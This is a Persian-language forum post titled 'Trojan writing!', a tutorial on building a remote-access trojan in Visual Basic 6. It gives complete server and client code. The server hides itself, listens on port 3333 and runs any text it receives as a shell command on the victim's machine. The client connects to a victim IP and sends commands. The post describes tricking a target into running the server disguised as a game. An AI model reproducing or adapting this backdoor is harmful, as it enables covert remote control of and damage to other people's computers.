شما وارد حساب خود نشده و یا ثبت نام نکرده اید. لطفا وارد شوید یا ثبت نام کنید تا بتوانید از تمامی امکانات انجمن استفاده کنید.


تبليغات
سامانه ي پيامکي آز پي ان يو مقالات ISI
فروشگاه اينترنتي آز پي ان يو خريد شارژ آز پي ان يو

تروجان نویسی!زمان کنونی: ۱۸-۹-۱۳۹۵، ۰۷:۳۱ :عصر
کاربرانِ درحال بازدید از این موضوع: 1 مهمان
نویسنده: مهدی
آخرین ارسال: مهدی
پاسخ: 1
بازدید: 676

ارسال پاسخ 
 
امتیاز موضوع:
  • 24 رأی - میانگین امتیازات: 3.71
  • 1
  • 2
  • 3
  • 4
  • 5

تروجان نویسی!

۲۱-۸-۱۳۹۰, ۱۱:۰۵ :عصر
ارسال: #1
تروجان نویسی!
بزارید این اول یه توضیح مختصری در مورد تروجان بدم و اینکه تروجانها چطوری کار میکنند .

یه تروجان یا بهتره بگم یک اسب تروجان کامپیوتری مثل یه برنامه ساده هستش که ازش انتظار انجام کار خاصی رو میشه ولی در اصل اون برنامه کارهای مخفیه دیگه ای رو انجام میده . خیلی ساده هدف ما اونو دانلود میکنه به گمان اینکه یه برنامه خوب باشه مثلا یه بازی جذاب ولی وقتی اونو اجرا میکنه تروجان مثل یه سرور شروع به کار میکنه حالا اینکه سرور چیه فکر نمی کنم به موضوع این مقاله زیاد ربطی داشته باشه ولی به عنوان یک تعریف ساده میشه گفت برنامه ای که پاسخ گوی درخواستها باشه رو بهش میگن سرور .

خوب حالا یه تروجان چطوری کار میکنه ؟

ما دو تا فایل داریم که یکیش سرور هستش و یکی هم کلاینت که کار این کلاینت درخواست کردن از سرور هست

این سرور همون فایلی هستش که ما واسه هدفمون می فرستیم و این کلاینت مرکز کنترل سرور هستش . این سرور و کلاینت برای ایجاد ارتباط با هم نیاز به یه کنترلی دارند به نام winsock .

winsock یکی از کنترل های ویژوال بیسیک هستش که اجازه ارتباط میان کامپیوتر ها رو به ما میده . مثلا فکر کنید که ما دستور خاموش کردن رو به سرور میفرستیم . این وینساک به ما کمک میکنه تا اطلاعات رو از کامپیوتر خودمون به سرور بفرستیم . خوب حالا اونور داستان وقتی اطلاعات به کامپیوتر هدف رسید اونجا یه سوراخی هستش که به سرور میگه کامپیوتر رو خاموش کنه.

حالا دیگه بریم سر اصل مطلب

این کد هایی که این زیر مشاهده میکنید کدهای فایل server.exe هستش . توجه کنید که شما به کنترل وینساک نیاز دارید پس دکمه های Ctl + T رو باهم فشار دهید و از پینجره ای که باز میشه دنبال Microsoft Winsock Control 6.0 بگردین . بعد از اضافه کردن اسمشو بزارید winsock1 .

خوب حالا بیاید ببینیم این کدها چیکار میکنند




Private Sub Form_Load()

Me.Hide

If Winsock1.State <>; sckClosed Then Winsock1.Close

Winsock1.LocalPort = 3333

Winsock1.Listen

Shell ("explorer دیدن لینک ها برای شما امکان پذیر نیست. لطفا ثبت نام کنید یا وارد حساب خود شوید تا بتوانید لینک ها را ببینید.
"

End Sub





Private Sub Winsock1_ConnectionRequest(ByVal requestID As Long)

If Winsock1.State <> sckClosed Then Winsock1.Close

Winsock1.Accept requestID

End Sub






Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long)

Dim data As String

Winsock1.GetData data

Shell data, vbNormalFocus

End Sub





me.hide اگه کسی ندونه این چیه که خیلی باحاله ( یعنی دیگه بقیه مقاله رو لازم نیست بخونه)

If Winsock1.State <> sckClosed Then Winsock1.Close وقتی صفحه لود میشه همه ارتباط های مربوط به وینساکمونو میبنده

Winsock1.LocalPort = 3333 پورت وینساک رو تنظیم میکنه یعنی از این پورت میشه بهش کانکت شد

Winsock1.Listen خوب حالا وینساک گوش به زنگ میمونه تا یکی بهش کانکت شه

Shell ("explorer دیدن لینک ها برای شما امکان پذیر نیست. لطفا ثبت نام کنید یا وارد حساب خود شوید تا بتوانید لینک ها را ببینید.
" این یه کد اختیاری برای فهمیدن آدرس های فعال میشه از روشهای دیگه ای آیپی هدف رو در اختیار خودمون قرار بدیم

Private Sub Winsock1_ConnectionRequest(ByVal requestID As Long)درخواست ارتباط رو فعال میکنه

If Winsock1.State <> sckClosed Then Winsock1.Close Close اگه ارتباطی فعال باشه اونو قطع میکنه

Winsock1.Accept خوب حالا ارتباط مورد تائید قرار میگیره

Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long) وقتی داده ای بیاد فعال میشه مثل وقتی که دستوری بفرستیم واسش

Dim Data As String خوب حالا یه متغیر تعریف کردیم

Winsock1.GetData Data خوب حالا داده ها که همون دستورات هستند رو دریافت میکنیم

Shell data, vbNormalFocus به به اینهمه زور زدیم که به همین جا برسیم حالا داده های رسیده مثل یه دستور اجرا میشه مثلا اگه بنویسیم shutdown -s -t 10 و ارسال کنیم کامپیوتر قربانی بعد از مدت 10 ثانیه خاموش میشه

خوب حالا نوبت کلاینت هستش . کد زیر کد فایل client.exe هستش که توی فرممون نیاز به یه دونه وینساک به نام winsock1 و سه تا تکست باکس به نام های textbox 1 , textbox2 , twxtbox3 و همچنین 2 تا کامند باتن به نامهای command1 , command 2 داریم




Private Sub Command1_Click()

Winsock1.RemotePort = Text2.Text

Winsock1.RemoteHost = Text1.Text

Winsock1.Connect

End Sub






Private Sub Command2_Click()

Winsock1.SendData Text3.Text

End Sub






Private Sub Form_Load()

If Winsock1.State <> sckClosed Then Winsock1.Close

End Sub






Private Sub Winsock1_Connect()

msgbox ("Connected!"

End Sub






Private Sub Winsock1_Error(ByVal Number As Integer, Description As String,

ByVal Scode As Long, ByVal Source As String, ByVal HelpFile As String,

ByVal HelpContext As Long, CancelDisplay As Boolean)

MsgBox ("Error!" + vbCrLf + Description), vbCritical, "Winsock error"

End Sub







خوب حالا ببینیم این کدها چیکار میکنند

Private Sub Command1_Click() وقتی کامند 1 کلیک میشه اجرا میشه

Winsock1.RemotePort = Text2.Text پورت کامپیوتر قربانی به اون چیزی که توی تکستباکس 2 نوشته شده تنظیم میشه

Winsock1.RemoteHost = Text1.Text آدرس کامپیوتر قربانی رو به اونچیزی که توی تکستباکس 1 نوشته شده تنظیم میکنه

Winsock1.Connect جهت ایجاد ارتباط با هدف شروع به تلاش کردن میکنه

Private Sub Command2_Click() وقتی کامند 2 فشرده میشه

Winsock1.SendData Text3.Text داده های درون تکستباکس 3 رو برای کامپیوتر هدف ارسال میکنه

Private Sub Form_Load() When client started

If Winsock1.State <> sckClosed Then Winsock1.Close وقتی فرم لود میشه اگه وینساک مون ارتباط فعالی داشده باشه اونو قطع میکنه

Private Sub Winsock1_Connect() وقتی وینساک کانکت میشه

msgbox ("Connected!" ایجاد ارتباط رو اعلام میکنه

Private Sub Winsock1_Error(...) وقتی خطایی رخ بده

MsgBox ("Error!" + vbCrLf + Description), vbCritical, "Winsock error" خطا اعلام میشه
زمانی که به پایان رسیدی بدان شروعی دوباره در کام تولد است...
یافتن تمامی ارسال‌های این کاربر
نقل قول این ارسال در یک پاسخ
ارسال پاسخ 


پرش به انجمن:


کاربرانِ درحال بازدید از این موضوع: 1 مهمان


آپلودسنتر آز پي ان يو تالار گفتمان آز پي ان يو
تبلیغات نیازمندی های استان چهارمحال و بختیاری